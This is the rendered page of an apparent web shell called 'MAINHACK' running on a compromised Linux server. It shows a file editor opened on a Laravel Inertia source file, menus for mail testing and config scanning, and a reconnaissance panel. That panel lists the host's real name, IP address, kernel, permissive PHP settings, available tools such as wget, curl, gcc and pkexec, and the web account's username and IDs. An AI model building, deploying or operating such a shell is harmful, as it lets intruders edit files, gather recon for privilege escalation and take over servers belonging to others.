[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ResponseFactory.php
<?php namespace Inertia; use Closure; use Illuminate\Support\Arr; use Inertia\Support\Header; use Illuminate\Support\Facades\App; use Illuminate\Support\Facades\Request; use Illuminate\Support\Facades\Redirect; use Illuminate\Support\Traits\Macroable; use Illuminate\Contracts\Support\Arrayable; use Illuminate\Support\Facades\Response as BaseResponse; use Symfony\Component\HttpFoundation\Response as SymfonyResponse; use Symfony\Component\HttpFoundation\RedirectResponse as SymfonyRedirect; class ResponseFactory { use Macroable; /** @var string */ protected $rootView = 'app'; /** @var array */ protected $sharedProps = []; /** @var Closure|string|null */ protected $version; public function setRootView(string $name): void { $this->rootView = $name; } /** * @param string|array|Arrayable $key */ public function share($key, $value = null): void { if (is_array($key)) { $this->sharedProps = array_merge($this->sharedProps, $key); } elseif ($key instanceof Arrayable) { $this->sharedProps = array_merge($this->sharedProps, $key->toArray()); } else { Arr::set($this->sharedProps, $key, $value); } } public function getShared(string $key = null, $default = null) { if ($key) { return Arr::get($this->sharedProps, $key, $default); } return $this->sharedProps; } public function flushShared(): void { $this->sharedProps = []; } /** * @param Closure|string|null $version */ public function version($version): void { $this->version = $version; } public function getVersion(): string { $version = $this->version instanceof Closure ? App::call($this->version) : $this->version; return (string) $version; } public function lazy(callable $callback): LazyProp { return new LazyProp($callback); } public function always($value): AlwaysProp { return new AlwaysProp($value); } /** * @param array|Arrayable $props */ public function render(string $component, $props = []): Response { if ($props instanceof Arrayable) { $props = $props->toArray(); } return new Response( $component, array_merge($this->sharedProps, $props), $this->rootView, $this->getVersion() ); } /** * @param string|SymfonyRedirect $url */ public function location($url): SymfonyResponse { if (Request::inertia()) { return BaseResponse::make('', 409, [Header::LOCATION => $url instanceof SymfonyRedirect ? $url->getTargetUrl() : $url]); } return $url instanceof SymfonyRedirect ? $url : Redirect::away($url); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.82 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002